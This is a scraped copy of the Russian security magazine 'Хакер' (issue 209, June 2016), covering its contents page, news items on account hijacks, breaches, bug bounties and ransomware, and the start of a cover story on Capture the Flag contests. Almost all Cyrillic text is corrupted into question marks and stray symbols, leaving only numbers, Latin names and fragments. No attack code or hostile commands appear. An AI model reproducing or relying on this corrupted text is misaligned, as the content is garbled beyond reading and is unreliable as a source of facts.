close

Вход

Забыли?

вход по аккаунту

?

Хакер №6 июнь 2016

код для вставки
???? 2016
?209
Cover
Story
CAPTURE
THE FLAG
??? ????? ???? ?????????? ???????????
??????
Android:
??? ????????,
??? ????????
?????? SQLi
?а???????? ???
?? Mail.Ru
??????????
?? ????????
?????????????
? аWhonix :)
???? 2016
? 209
MEGANEWS
??? ????? ?? ????????? ?????
Capture the Flag
??? ????? ???? ?????????? ???????????
????? ? ??????
???????? ? ??????? ???????????? QIWI ???????? лisox╗ ?????????
??? ???? ? ???????????
????????? ??????? ?????? ????????? ? ??????????? ????????
WWW2
?????????? ???-???????
??? Google Instant Apps ?????? ?????????
??????? ?????? ???????????
???????? ?????????
??? ?????????? ????????? ? ?????? ??? ??????? ???
????????? ????
?????? #20. ??????? Google
10 ?????? ???????? ????? root
????? ? ???? ??? ????????????? ?????
Backups for fun and profit
??????????? ? ??????????? ?????? Android ? ??????? ?? ??? ??????
????? ?? ????? root
????????? ???????????????? Android, ?? ???? ???? ?????????????????
???????? ???????? ?? ?????
Android N DP2, ????? ????????? ???????? ? ???? ? ????? ??????? ???????
Android N ? ?????? ?? ????????????
??????? ??????? ???????
Easy Hack
????????? ??????? ??????? ?????
????? ??????????
?????? ????? ???????????
Vulners ? ???? ??? ??????
??? ??????? ?????? ????????? ?? ??????????? ? ??? ?? ????????????
?????? ??? ??????
????????? ???????? ?????????? ?? Mail.Ru ??? Android
?????????? ? ??????. ????? IV. ??????????? ?????????? ?????
3DES, AES, Blowfish, IDEA ? Threefish
X-TOOLS
???? ??? ?????? ? ??????? ????????????
Marcher: ?????? ???????? ??????
???????????? ???? ???? ????????? ????? ?? ????????????? ?-????????
???? ?????????? ???????????, ????? 3
????????? ???? Clam Sentinel, FortiClient, Tencent ? NANO ?????????
???? ?????? ???????? ?????, ????? 2
?????????? ???????: ????????? ? ???????
Multi-OS Engine Technology
?????-????????????? ?????????? ?? Intel: ???????? ? ??????????
??????? ?????? ?? ????????
????????????? ?????????? ??? Android, ????? 2
?????? ??? ??????? ? ?? ??????
????? ?????????? ? ?????????? ???????? ??? Android. ????? 2
?????? ?? ??????????????
?????? ?? ?????? ?? ???????? ABBYY ? ??????????? ??????????
????????? ????????
??? ????? ??????? ????????? ??????? data engineering ?????. ????? 2
??????????? ???????
?????????? ? ??????????????? ???????????? Whonix
?????????? ???
??????????? ? ???????? ????????? ?obbler
Wine ????????
Windows Subsystem for Linux ??? ??? ????
??????, ??????, ??????? ?? Puppet
??????? ????????????? Puppet + Foreman
FAQ
??????? ? ??????
?????
??? ?????? ???? ??????
????? лMifrill╗ ????????
nefedova.maria@gameland.ru
??? 2016-?? ??? ??????????? ??????? ?????????????? ???????, ???????????, ??-?????????????? ?а?????? ??-?????????? ?а?????????? ???????. ?? ????????, ??? ???
??а?????????? ????? ??????????, ?а?????????
???а???? ???????? ???? ??????? ????????а?
???а???????, ??? ?а?????????.
???а????????
TELEGRAM
?а?????? ????? ????????? ????????? ???????? ????? ???, Telegram ?а???:
???? ?????????????? ????????????, ??? ?? ???????? ?аTelegram ???? ???????? ????? ????????? SMS-????????? ????????????? ???????????, ?а?????????? ???? ??????????? ???????? ?????? ?а?????????. ???а????????? ?а?????
Facebook ???? ??а????????????, ???? ??????????, ??????? ??????????? ????????? ???????.
? ?а2:25 ???? ????? ??????????????? ???????????? ???а????????? ??? ?????? ???????? SMS-?????????.
? ????? 15 ?????, ?а2:40, ???-?? ?аUnix-??????? ??аIP-?????? 162.247.72.27
(??? ???? ??а???????? ???????????? Tor) ???????? ?аTelegram ?????? ??а??????????? ?????? ?????????? ?а???? ??????? ????????.
? ??? ???? ?????????? SMS ?а?????, ??????? ?????????? ??а???? (??????
???а???? ????????).
? ?а3:08 ????????????? ?????? ??? ??????????? ?а???????? ?????? ?а?????
????????. Telegram ????????? ??? ?????????????? ??????????? ??а????
(??????? ? ???????? ?????? ?????).
? ?а3:12 ??????????? ??????? ?а???? ?? IP-?????? (?. ?. ????? ?? ?? ??????
Tor) ???????????? ??????? ???? ????????.
? ?а4:55 ????? ??????????????? ???????????? ???а????? ???????? ??? ?????? ???????? SMS.
? ??????? ?????????? ?а????????? ??????? ???а??? ??????? ??????????,
????????? ???????? ?????????? ??????.
??????? ?????? ?а???, ????? ??????? ??????????? ???????? ?????? ?а????, ??????? ??? ????????? ??аSMS, ??а??а?????????. ?а?????????, ?а???? ???? ??????
???? ??????: ????? ??????? ???? ??? ???????? ????? ????? ???????????????
???а(????????, ??а?????? ??ал???????????? ???????╗).
?????????? Telegram ??????????? ???????????? ?а????????????? ??????.
??? ???????????? ????????? ???? ?а?????? ????????? ??????????. ?????
????? ?а???????????? л??? ??????╗ ????????? ??? ???? ??а???????? ?????????, ???????, ??? ??????????? ???? ????????? ??а??????? ?????????.
???? ??а?????, ?????????? ?? ?????? ?????? ?????? ??а?????????? ?????,
????? ?? ????? ???????????? ???????? ???????????????? SMS-????. ??????
????? ??????????? ?????? ?а?????? ??????????, ??а??????????? ?а????? ????????? ???????а? ??????? ????, ?????? ??????? ??????. ??а???????? ????????? ?а?????? (????, ???????, ?????? ????????? ?????? ???, ??? ?а?????? ?а?????????????? ???????????? ????????????).
???????????? ???а??????? ?????????? ????? ? ??? ???????????; ????? ????? ?????? ???????? ????????-???????? ??а?????? ?а??????? ???? ??????????? ??? ??????? ????????????? ???????? ????????????? ???????????, ???
???а????????? ????? ?? ???а??????????? ?????????.
????????????? ???, ?а???? ???????, ???????? ??? ????????? ?а???????, ???
л??????? ???????????????? ???????? ??а?????????? ????? ??а?????????????,
?????????? ??а?????????? ?????? ??????????? ???а??а????????????? ????????????????╗. ?а???????? ?????????, ??? ??? ????? ???? л???????? ?????╗
??? ?? ?????? ?а???????? ??? л??????? ????? ???-?????????╗. ??? ?????????
????? ?????????? ?а???????????, ??????????????? ???????????? ??????????? ???????????? ???а?а???? ?????????????, ?а????? ?а??????????? ??????
??а??????, ??????? ???????????? ?????? ???????? ?а???. ?????????? ???????????? ???????? ?????????? ?????? ??а?????, ?а?????? ???????? ?????? ??????
??а????? ????? ??? ?????? ???????.
?а???? ?????? ???????????? ?а?????????? ????????-???????????а? ?а???????, ?аPositive Technologies ??????? ????????? PoC ????????? ?????????
??????? ???а??????? ?????-???? ?????????, ???? ?а?????? ???????? ?????????: ???а????? ????????? ?????????? ??????????????? ?????? ????????? ??????????? ?????????? ????????? SS7.
$8 000 10 000 000
000 000
???? ? ???? ??????????
?????????????? Microsoft
??????????? ?? ??????????????
Microsoft???????????? ??????? ????? (198 ???????), ??????????????
? ????????? ???????, ? ???????? ??
?????????? ????????????. ??? ?????
??????? ????????? ????????? ?????? Microsoft Account, ????? ????????? ??? Windows Live ID. ???? ??????
???????? ?? ??????????? ????????????? Bing, Outlook.com, OneDrive,
Windows Phone, Skype, Xbox Live,
Windows 8.1, Windows 10 ? ??? ?????.
?? ?????? ????? ????? Azure Active
Directory (AAD) ? ???????????? ?????????, ????? ??????? ?????????????? ?????? ? Office 365, Workday, Box ?
???????? ???????? ??????????. AAD
?????????? ? 90% ?? 2000 ?????????? ???????? ????, ?? ???? ??????
???????? ?????????????? ? 550 ?????????? ?????????????.
???????? ??????, ??????? Microsoft
???????????? 13 ?????????? ?????????????????? ???????? ? ????
(?? AAD ?????????? 1,3 ????????) ?
??????? 10 а????????? ?? ??? ? ???
??????????.
???????? ????????
Microsoft ?? ?????
л????????????╗ ? Nokia
25 ??? 2016 ???? ????????
Microsoft ???????????? ????????, ???
???????????? Nokia ???? ?????????
??????. Microsoft ???????? ? ??????
??????????????? ?????????? ?????????????: ???? ??????? ??? 950
????????? ???????? ??????? ? ??????
?????????? 1850 ??????? ????.
Microsoft ????????? Nokia ??
7,2 ????????? ???????? ? 2013 ????.
?? ????????? ???? ???????? ??????
????????????? ? ??????? ?????????
?????? ?????????? ??? ? ?? ???????.
?????????? ??????? TheVerge ??????????, ??? ??????? Microsoft ?? ???????????????? Nokia ? ??????? ?????????
?????? ???????? ???????? 7,6 ????????? ????????. ???????? ????????
??????????, ??????? ???? ?????????
?????, ???????? ?????? ?????????? ???????? ?????????????? 8 ??????????.
78% ?????? ?? ???? WORDPRESS ????????????
????????? ? ?????? ???????? 2016 ????
????????????? ???????? Sucuri ??????????? ????? ?? ?????? ??????? 2016 ???? , ?????????????? ? ????????????? ????? ????? ??????????? CMS. ????????? ??????????? ??????
?????????: WordPress, Joomla, Drupal ? Magento. ??????????, ??? ???? ????? ??????????
???????? ?? WordPress.
?? ????? 11 ????? ????????? ?????????? ??????
75% ???????? ?? WordPress
56% ?????? ?? WordPress ?????????? ?????????? ??????CMS
25% ???? ?? WordPress ???????
?????????? ?? ??????????? ??
?а???????????? ? ???? ????????:
85% ?????? ??? ??????????? Joomla,
RevSlider, Gravity Forms ? TimThumb
97% ?????? ?? ???? Magento ?
81% ?????? ?? Drupal
???? ????? ?????? ??????? ????? ?? WordPress, Joomla ? Magento
? ?????? ???????? 2016 ???? ????????????? ???????????
78% ?????? ?? WordPress (8900 ????????)
? 15% ? ?? ???? Joomla (1600 ????????)
??????? ?????????? ?? ??????????????????? ? ?????? ???????? 2016 ???? ????????:
?????? ???????
???????????????? ????????????? ??? ??а????????? ????????? ????????? ??? ?аInstagram. ????????????? Facebook ?????? ????????? ????
????????? ???????? ?????? ?а??????? 10 ????? ????????, ?а??? ??? ?? ???????? ??????? ??????. ??? ????????? ???????????, ???а???????? ????????
??а??????????? ???????? ????????, ??????????, ??? ??? ?? ??????? ?????????
л???? ???????? ??????╗.
?а???а???????????????? ?????????? Liberty Reserve ????? ????????? ??? ?????????? ?а???????? ????? ????????? ??????????. Liberty
Reserve ???? ???????????????? ????????? ????????? ????????, ??????? ????????? ??????? ?а???????? ???????? ??????, ??а???????? ????????? ??????.
??-?? ????? ??? ???????????? ?а?????????? ????? ????????? ?????????? ??????? ?а??????? ?????????????? ??????? ???? ??????????????????, ??????????? ?а???????????? ?????????? ???????.
?а???????? ??????? ??????? ??????? ???????? ??????? ?а????? ???????а? ?????????? ?а??????????? ????????? TETRAа? ?, ????????, ???
?? ??????? ??а????. ??? ???? ?????? ???????????? ????? ??????, ????? ?? ??????? ???????? ?а???????? ??а????????? ???????. ???? ????? ????? ??????????? ?????????? ????? ????????? ?а????????? ???????, ??????????????????
?????? ??? ?? ????????? ?????? ???? ????????? ????????? (?????, ????????
??????, ???????? ??????????), ?????? ????????? ?а??????????? ?а15 ???????
???????. ???????? ????? ????????, ????!
?а????????????? ???????? ?????? ??а???а?????? ??????? ?????
????????? ?????? ??????? ??????????? ??????? ???. ??? ????????????? ???????? ?? ???????, ??????? ?а???????? ??аFTP-??????? ????????
Eaglesoft, ??????? ??????????? ????????????????? ???????. ????? ????????
???????? ?????? л?????????????╗ ????????????? ??а????????? ??????????.
?????????, ??? ??? ?????????? ???? ???????, ?а?????????? ?а??? ??????????
???????????? ?????????? ???????а? ??????? ??? ?а???????, ??? ????? ??а???????? Eaglesoft ??? ?????? ?????? ???????? ?????? ?? ?????? ???????.
?а?????? ???????????????, ???а????????? ??????? ???????, ?????????? л????????╗ ?????: ????? ????, ???????? ????? Undertexter.se,
?????????? ???????????? ?????? ??? ????? ???а???????? ????????? ?а???????,
??? ??? ???? ???????????? ??????????? ?????????????? ???????????? ??????.
???????? ??, ?????? ??????? ??а?????? ?????? ??????? ?а????? ??а????????
?????? ????????? ????, ?????? ???? ???????, ??????? ?????? ???????, ?а????
??? ?????????. ?????? ???????????????? ???????????? ?а?????: ??????????
??????? ????????? ???????? ???????, ?????? ??????? ?????? ??????????????
????????? ????, ?а?????????? ??а??????? ?????? ???? ???????.
л?????? ??????? ?????? ?????? ????
??????? ??????? ?????. ??????? ???
??????? ?????. ?????? ?????????????
LinkedIn ?????????? ?? ??????? ?? ?????? ? ????????, ?? ????? ?????????? ???????, ????????LeakedSource, ???????
?? ???????? ??????? ?????? ? ??????.
?????? ?????? ???????? ? ????????? ???????? ?????? ????, ??-?? ???? ? ??????? ??? ??????????? ????????? ? ??????╗.
???? ????, ?????????? ?????????? ?????? лHave I BeenPwned?╗
???????? ??????
?????????? IBM ?а??? ??????? ?????????? ????????? ?????? ?а???????????? ?? ?????????????? ?????????? ?????????? ?а????????? ?????????????????? ?а?????????? ???????????. ?????????, ??? ?????????????
????????? ?????????? ?????? ???????? ?????? ??????, ??????? ??а??? ????
??????? ???????????,а? ????????, ?????????? ????? ??а??????? ?????????, ??????? ???????? ?а?????? ????????????????? ?????? ?а???????? ??????.
???????, ?????????? ???? ??а??????? ????????, ????? ?????????? ???????????, ??а?аIBM ????????? ????????? ???????? ?а10?20 ??? ?а??????? ?????? ???.
Pornhub ??????? ?а??????? ??????????? ????????? bug bounty. ????????? ????? ????????? ?????????????? ??а?????????? ??а50 ??а25 000 ????????.
??????????? ????????? ?????????????? ???????? ??а????????? HackerOne.
Pornhub ???????? ?а?????????? ????????: ?а????????? ?????? ?а???????????? ??????????? ????????? Uber, Tor ?а???? ????????.
???????? Facebook ?а??? ???????????? ???????? ???? ?????????
Capture the Flag ??? ????????? Creative Commons. ???????????? ?а???????
CTFа? ??????? ??????? ???????? ????? ???? ??????????? ?а???????, ??????????? ?????????????? ????????????. ????? ???????? ???? ???????????
???????? ???? ?????? ?а??????? ??????, ??а???????? ????? ????? ??а??? ?а?????? (????????? ????? ?а???? ??????). ?????????, ??????????????? ?????????????? ??аFacebook, ???????? ???, ??? ????? ???а?????????? ?????????? ????????????: ??????? л?????╗, ??????? ???????? ??????, ??????? ???????????
?????? ?а?????? ??????.
?а?????? ???????? ?????? ????? ???а??????? ??????????? ?????????????, ??????????? ?а?????????, ????????? ?а??. ??????????
????? Expocod, ?????? ????????? ????????????????? ?????? ??????? ????????? ???????????, ??? ????? ?? ??????? ?а?????????? ???????? ?а?????????? ?????????? ????????????? ?????????????????, ??? ?????????????????
???а??? ??а????????????? ??????????????????? ????????????. ?????? ????????, ?а??????? ??????? ?????? ?????? ?????? ?а??????????? ??а?????????????? ????????????.
????? ???????? ?????????? 2016 ????
????????????? ???????? SurfWatch Labs, ??????? ?????????? ?????? ? ???????? ?????????? ?? ?????????? ?????, ????????? л???????╗ ????? ???????? ????????????? ????????
2016 ????. ????? ???????? ??????????, ????? ?????? ???? ????? ??????? ? ????????? ??????,
???? ??????? ? ?????????? ? ????? ???????? ?? ????????? ????. ?? ?????? ??????????????,
Anonymous ???? ? ????????? ????? ????????? ??????? 2016 ????, ???????? ????????, ??? ???????? Anonymous ???????? ???????? ????????? ?????? New World Hacking ? Ghost Squad Hacker.
??????? ?????? ??????????? ? 2016 ????:
????? ???????? ???????? Anonymous ? 2016 ????:
????? лMifrill╗ ????????
nefedova.maria@gameland.ru
?????? ??????
??????? Google ????? ??????? ??а?????? ?????????, ??? ?????????
???????? ?а????????????? ?а????? ?????. ????? ??????? ???а???? ?????
??????????? ?????? ???????: ?а??????? ???? ????????????? ???????? ?а?????????? ?а??????????????? ??????????, ????? ??????? ?????????????? ????? ?????? ?????? ??а?????? ??????. ?а??? ????? ???? ?????????? ????? ????
????? Fitbit, ??????? ????????? ???????? ?????????????? ?????? ?а????????
????. ???????????? ??аFitbit ??? ????????? ??????????, ??????? ??? ???? ??????? ?????????????.
15 ??? ???? ?????? ????????? ????????? ?????? PwnedListа? ????
??а?????????? ??????????? ??????????????????? ??????, ?????????????? ?а2012 ????. PwnedList ???????? ????????? ???? ??????? ??????
??а???????? ???? (866 434 472 ????????) ??а??????? ?????????????. ?а?????????, ?????????? ?????????? ?а???? ?????? ??????????. ?????????, ??? ?????????????? ????? ???????? ?аPwnedList ?????? ??? ?????????? ??? ????
866 ????????? ?????????. ????? ??а????, ????????? PwnedList ????????, ???
????????? ??????.
?????, ????????? ??? ??????????? BVM, ??а????? ??????? Reddit.
??а???? ?????? ??? ????????? ???????? ?а?????????? ??????? ???????????,
??????? ????????????? r/pics, r/starwars ?аr/gameofthrones. ??? BVM ???????, ??? л?????? ??а?????╗, ???????? ??????? ????? 70 ?????? ?????????.
?? ??????????, ??? ???????? ????? ????? ?ал????????? ???????????? Reddit╗.
???????? ????????? ???????? ?????? ?а???????????, ??????? ?? ???????????
???а????. ?????? ????????? ??????????? ????????? ?????????? ????????????? ??????????????.
???????? Bitdefender ?а??? ???????? ??а??????????? ????????
??????? ??? ????????? Million-Machine. ???????? ??а????: ?????????? ???
????? ????????????? ????????? ????? ???????. ??????, ???????, ?????????
???а?????????????: ??? ????? ??????? ????????? ????????? ???????. ??????????? ?????????, ??????? ?а?????? ???????, ???????????? ?????????? ?????? ????? ?????????? ??????????, ???аWinRAR, YouTube Downloader, Connectify,
KMSPico ?аStardock Start8. ????? ??а????????? ??????, ??? ????????? ????
?а?????? ??????????? ?а???????, ???????????? ??? ?????????? ??а?????????
?????? ??а????? 9090 ?а????????????? ????? ??а???????, ????? ??а??????? ?????? ??????? ???????.
?а?????? ?????????? ????? 15 ??? ?????? ???????????? ???????????? ????? ??? ??????? ??а??? ???? ???????? 12,7 ???????? ????????
??а?????????? ?а??????????? ?????? ??????????? ??????. ???????? ???????
?????, ??? ??? ????? ???? ???? ??????? ????????????????? ?????????????
?????????? ??????. ????????? ??????????? ???????? ?а???????? ????????
????? 1400 ??????????. ???а?????? ????? ????????? ???????????? ????? ????? ?????????? ????а? ?а???????? ????? ???????????????? ????? Standard
Bank.
????????? ???? ????? ???? ??????? ??а??? ???????? ????????:
????? ????????? ????????? ???????????? ??????? ???. ?а2011 ???? ?????
???????? ?????????? ????? ???? ??????? ?????? ?а?????????? ???????????????? ??????? (GDS), ??????? ???????????? ?? ???? ???? ???а??????? ?а???????????? ??????????? ?????????????? ?а?????????????? ???????. ????????? ????????? ???????????? ????? ??? ????, ????? л??????╗ ?а????????????
???????? ?????????? ???????????. ??а????????? ?? ????? ???, ?????? ???????????? ??а????????. ?а2014 ???? ????????? ?а????????? ????????? ?????????? ?а??????, ????? ???? ??? ???????????? ?а????? ????????.
60
65%
??????? ??????????
????? ???????????
???? ????? ?????? ?
?????????? ?????
?????????? ????? ??????? ????????????? ???????? Avast. ??? ?????????? ? ??????????? ??????????????
? ???????????? ? ????????? ? ???????
??????. ??? ??????????, 97% ???????????? ???????, ??? ??? ??????????
???????? ??????, ???? ?????????????
??????????? ???????? ????? ???????????? ???? 4% ??????????. ???????????? ? ???? 33% ??????????
????????????? ?????? ?? ????? ?????? ?? ????? ??????????, ???? 84%
???????????? ????????? ?? ???? ?????? ??????. ????? 50% ?????????????
?? ?????? ?????? ??????? ??? ??????
??? ????? ?????. ? ????? ??????????????: 65% ???????????? ??????????,
??? ????? ????????? ?????? ??????????? ?????????? ? ?????????? ????,
?????? ??????????? ? ?????????? ???????????. ??? ????, ??? ????????
????????????? Avast, ?????? ???????????? ???? ????????????? ?????? ??
?????????? ? ????????????, ? ?? ??
?????????? ???????.
?
???
????????????? TFTP???????? ?????????
DDoS
????? ???? ??????? ????? ????????????? ?? ????????????? ???????????? ?????? ??????????? ????????, ?
??????? ????????, ??? ? ?????? ?????
???????????? ?????????? DDoS-?????
? ??????????? TFTP-????????. ??????
??????????? ???????? Akamai ?????????? ????? ????? ? ???????? ?????.
????? ??? ??????? ?????? ?????????
? ???????? ???? ???? ??????? ???????? ???? ? 2?10 ???, ?????????????
TFTP-???????? ????????? ?????????
???????? DDoS-???? ? 60 ???. ????????????? ??? ????????????? ?????,
??????? ???????? ??????? ?????????
1,2 ????/? (176 400 ??????? ? ???????).
??? ? ????? 2016 ???? ?????????????
???????????? ?????? ????? ?????????? 599 600 ????????? ????????, ??
??????? ?????? ???? 69 (TFTP). ?????? ???????? Akamai ????????????
??????????? ???????????? ???????
TFTP-??????? ?? ????????????.
????????????????
?а??????
??????????????? ????? ????????????? ?????? ???? ???????? (??) ??????? ???????????? ?????? ??????????????? ?а?????????? ???????
?????? ?а????? .ru ?а.??. ????????, ??? ?? ?? ????? ????? ?????? ?????????? л?╗ ??? ?а??????????????: ??? ?????????? ?????? ???????????? ????????? ?????, ?а??? ????? ??????????????? ?????; ???? ?? ????? ??а???????,
?? ????? ????? ?????????????? ??. ????? ??а???????????? ???а???? ?????
????? ?????? ????????????????? ???????????, ??????? ????????? ?????????? ?а??: л??????????? ???????????╗, Group-IB, ???????????? ????????????
??????????? л????? ????????-??????????╗ (?????) ?а?? л???? ???????????
?????????╗.
??????????? ???????????? ???????? ?а???????????? л?????????????? ????????╗, ??????? ???????? ?????? ?????????? ????????-??????????????. ????? ??????????? ??????????: ? 2020 ???? 99% ??????????? ????????-??????? ?????? ???????????? ?????? ??????, ?? ???? ?? ?????
??????????? ??? ??????????? ?????????????? ?????????. ????????, ??? ?а2014
???? ???? ?????????? ???????? ????, ????? ???????? ????? ???????. ??????,
???????? ??а????????, ??? ?????? ??????????????? ??? л??????????? ???????????????╗.
????????????? ????????????????? ???????????? ??????????
???? ?????????? ???????????? ???????????? ?? ?а???????????????
??????, ??????? ?а??. ?а????????? ????????????? ??????? ?????? ?а????????? ??? ????????????: ?????????? ???????????? ??а?????? ???? ?????????????? (? ??? ????? ???????, ??? ????????????, ?????? ?????, ????? ?????????????), ?????????? ????? ??? ???? ?????? ??а???????????? ????? ????? ??????
????? ??????????? ??????????? ????????? ??а?????????????????? ????????, ?а???????? ?????????????? ?????? ??????????? ??????????????????.
?????-????????? ?????????? ?? ??????? ?????? ??????????? ??????????
л???????????╗ ?а??????? ????? ??????????, ??? ????????? ??? ?????? ???????? ?а???????????? ???????????? ????????????.
л??? ??? ??????? ? ?????????, ?????? ???????? ???? ????????, ????????
?? ?????????? ?????, ???????? ?????
???? ???, ???? ???-?? ????????? ????????? ?? ??? ????????? ??????. ?????
???? ???? ???????????? ?? ????????????? ???????, ??? ???????? ?????? ????
????????. ? ????? ?????-?? ?????? ?????
? ??????, ??? ? ?????????? ?????? ????????? ??????╗.
????? ???????, ????-????????? MongoDB ?? ?????????,
? ?????????????? ??????? ??????????,
????????? ? ???????????? ?????????? MongoDB
????? ?а?????
?????????? Torrent Freak ?????? ?????????, ??????? The Pirate Bay ???????????? ??ал??????╗ ??????????????. ?а2013 ???? ???????????????
?а???? RIAA ????????? ?а?????????????? ????????? ??????? ?????????: л?а????
???????? ??а????????? ??а???? ???? ??? ??????????? ????? ??????, ?а?????????
??? ???????????? ???????? ??????????? ??????????╗,а? ?????? ????????????? RIAA. ???а?????????, ?? ????????? ??? ???????? ??????????????? ?????
376 ???????, ???????? ???????? ??????? 8,21 BTC (???????? 3500 ????????
??а???????? ?????, ??? 9,34 ??????? ?а?????). ?????????, ????????? ?? RIAA
??а??? ???????? ?????.
?????????? Microsoft ???????????? ????? ?а??????????? ??????????? ??????????? ?а?????? ???????, ????????????? ?? ?????? ????????
2015 ????. ?????? ??????????? ??????? ?????????? ????? ?а?????????? ????????. ??а?????? Microsoft, ?а????? ?????? ????? ????? ?????????? ?????????? (???? ?????? ?а?????) ?а?????? ???????? ??а???????????? ?????, ???????
??????????? ?а?????? ???????? ??а33% ????, ??? ?а??????? ??а????. ?????
?????? ?????? ?а?????? ?????? ?????, ??? ????????? ?????, ???????????????? ??????????? ???? ????? ?????????? ??????????.
???????????? ???????? ?????????? ?а?????????? ???а(NIST) ??????????? ????? ?а????????????? ????????????. ?а??? ??????????? ?????????? ?а????????? ????????? ???????????, ?а????????? ???????????? ?????
??????????? ?????????????. ???????? NIST ????????, ??? ????????? ????
????? ??? ??????, ????? ????? ??????: ????????? ??????????, ?????????
?????????? ????? ??????????? ????????????? ?а???????? ??????, ????????
?а??????? ????????? ???????? ???. ??а?????? ???????????? NIST, ?а2030 ????
????? ????????? RSA ?а?????? ?????? 2000 ??? ????? ???????? ???????? ????.
9 ??? ????????????? ?????????? ????????????? ?????????????
(ICIJ) ??????????? ????????????? ???? ?????? л?????????? ??????╗,
??????? ???????? ????????? ?????????? ????? ??? ?а214 ??????? ???????.
???? ?????????????? ????????????? ???????? ???? ???????, л?????????????╗ ?а?????????? Mossack Fonseca, ?а????? ?????? ??а?? ??????????. ????????
????? ??а????????? ????????, ?????? ?????, ???????, ??????? ?а???????????. ???? ?????????? ??????? ????????????, ???????? ????????????, ???а????
???????? ??? ???? ??????? ?а???????. ????? ICIJ ?????????? ???? ????????
?????????? ?????, ??????? ????? ??????? ????? ??????? ??? ???????? ?а?????.
?????????? ?????????? ????? ??????????? ?а???????? ??????
??а????????? ?а????????, ??????? ??? ??????? ?а2015 ????. ???? ???????????? ????? ???????? ?????????, ???????????, ???а??? ??????? ????????? ??а?????????????? ????? Playpen. ???? ??а?????, ?????? ??????????
?а???? ????????????? Playpen ???? ???. ?? ??????? ??а??????, ?а????? ????????? ?????? ??????????? ???????-?????????? ????? PayPal ???????? ??а?????? ????????? IP-??????, ??а????????? Tor. ????? ????????? ??????????.
??????? Intercept, ??? ??????? ???????????? ??????????
Wikileaks, ?????? ?????????? ????????? ??????????, ?????????? ??а??????? ????????. ?????? ?????? ????? ??? ???????? ?а???????? ??????: ?а???
????? 166 ??????????, ???????????? 2003 ?????. ????? ????? ????? ?????
???а?????????????? ?????? ?а?????????? ???????? ???, ??? ?а???????? ?????? ?а???????? ??????????? ?????????. ????? ????? ?????? ????? ??а?????
???? ??????? ?????? ???????. ?????? ???????? ?????????????? ??????? ?????????? ??? ??????????.
?а??????????? ???????? ???а????????? ???? ?аIT-???????????????. ??????? ?????? ???а???????????? ?????, ??а???????? ??????????, ???
???????????? ????????????? ???????? ?????? ??а???????????? ?а???????????? ?????????? ?????? ??????? 75% IT-??????? (61 ???????? ???????? ?а2015
????), ??а???а???? ?????? ????????? ??-???????? ????????????? ??????????
???????. ?????? ???а?????????? ?а?????? ???? COBOL 1959 ???? ????????,
??????? ??????????????? ???а???????? ??аWindows Server 2003, ?а???????
??????? ?????????? ???а?????????????? ???????????? ???? IBM Series/1
??????????? ?????, ?а??????????????? ?????????. ??? ?? ????????, л????????а? ??а??????╗.
??????-?????????? ?????????? ?????????
?????????
? ???? ?????? ????? ??? ???????? ???????? ???????????? ??????? ?????????????????,
??????? ????? ????? ?? ???????? ????? ? ????????? ?????. ???, ????????????? ????????
ESG ?????, ??? ? ?????? 2016 ???? ?????????? ?????????????????? ? ??? ????????? ????:
158,87% ?? ?????. ??????????? ???? ????? ? л??????????? ???????????╗, ???????, ??? ? ?????? ???????? ???? ????????????? ????? ?? 34 900 ????????? ? ?????????? 2800 ?????????
???????-???????????. ??? ???? ????? 5000 ???????????? ?? ??? ? ?????? ??????, ??? ????
????? ?????? ?? ????? ? ?????????????? ??.
????????? CERT-RO????????? ????? , ?? ??????? ?????? ????? ??????? ???????????, ???????
? 2015 ????:
?? ??????????? ???? ? ????????? л??????????? ???????????╗ ??????????
?????
15 000 ??????????? ???????-??????????????
? ?????? ???????? 2016 ???? л??????????? ???????????╗ ??????????
2900 ????? ??????????? ? 9 ????? ???????? ??????????????
?????? ????????????????? ??????????????? ????????:
Teslacrypt (58,43%), CTB-Locker (23,49%) ? Cryptowall/Cryptodef (3,41%)
? ?????? ???????? 2016 ???? ??????????????? ???? ????????? 372 602 ??????????
???????????? (?? 30% ??????, ??? ? ??????? ????????):
43% ????????????? ? ??? ? ?????? ?? ?????, ??? ????? ??????-??????????.
9% ?????????? ?????, ??? ??? ???-?? ??????? ? ?????????? ????????? ? ????????
15% ??????????? ? 17% ???????? ???????, ??? ????? ????? л????????╗, ??????? ????
??????? ?? ?? ??????? ??? ???????? ????????? ??????????
46% ?????????? ????????, ??? ?? ?????, ??? ??????????? ? ?????? ?????????
????????? ????? ?????? 24% ??????????, ?? 53% ????????????? ?? ????? ??????????
?????? ???????????????
84% ???????????? ??????????, ??? ????????? ?????? ????????? ????? ????? ??????
COVERSTORY
CAPTURE
THEаFLAG
??????? ??????????
aka Betepok
?????????? ???????? CTF
c ?????????? ??????
???????, ?????????????
??????? BalalaikaCr3w
?аLC?BC (???????????
More Smoked Leet
Chicken ?аBalalaikaCr3w)
???а????? ???? ?????????? ???????????
Capture the Flag (CTF)а? ??? ????, ?а??????? ?????????
???????? ????????? ???? ??????????? ?а???????? ????.
?????????? ?? ??????? ????????? ?????? ????? Quake
?аTeam Fortress, ??а?а?????-?? ?????? ??????? ??????
???? ????????????? CTF ??а?????????????? ????????????. ?а???, ???а???????? ?????????, ?а?????? ???? ?а????
??????.
????????? CTF ???? ?а???????? ??а???????? ????????????? Capture the Flag,
?????? ?а?????? ????? ?????? ?????????????. ?????? CTF ?а????????? ?????????????? ???????????? ????? ???????? ???? ????????????, ???????
?????? ??а???????? ??????? ?????. ????????????? ???????????? ?а????????? ?а????????? ?????????? ??????? ?а????????? ????? ????? ?а?????????????? CTF. ??? ???????? ??а???.
CTF ??аPHDays 2016
ATTACK-DEFENCE
???? ??? CTF ????????? ????????????, ????????? ?????????? ???????
Capture the Flag ?а?????? ????. ???????????? ?????? ???????? ????? ?????
(vulnbox)а? ???? ????? ??? ?????????, ??а????? ???? ???????, ?????? ??? ????????? ?????? ?а????-??. ??? ?????????? ???????, ?а?а??? ?а????????? ????????, ??????? ???????? ??а?????? ?????? ????????????????. ?????? ???????? ???, ????? ?а??? ??????? ????????????? ??????????.
?а?????? ?????? ???? ?????????? ????? ??а?????????, ???? ???????????
?а??????? ??????, ????? ?????? ????????????, ????????а? DEF CON. ??????
??????????? ????????? ??????????, ?а??????????????, ?а?????????? ?а????????а? ????. ???????? ???? CTF ?а?????? ?????????? ?а????? ??????? ?а????????? ?????. ????? ?????? vulnbox ?а??? ??????????? *nix.
???? ??? ??????? ?а?????? ???? ???????? ??а?????? ??????, ???-??? ?????????? ?а??? ????: ?а??????? ????? ???????? ?????? ?????. ????????, ???
????? ???? ???-??????, ?????????? ??аPython ?а?????????????? Flask ???
Django, ???? ???????????????? ???????? ???? (???????? ???а??????????),
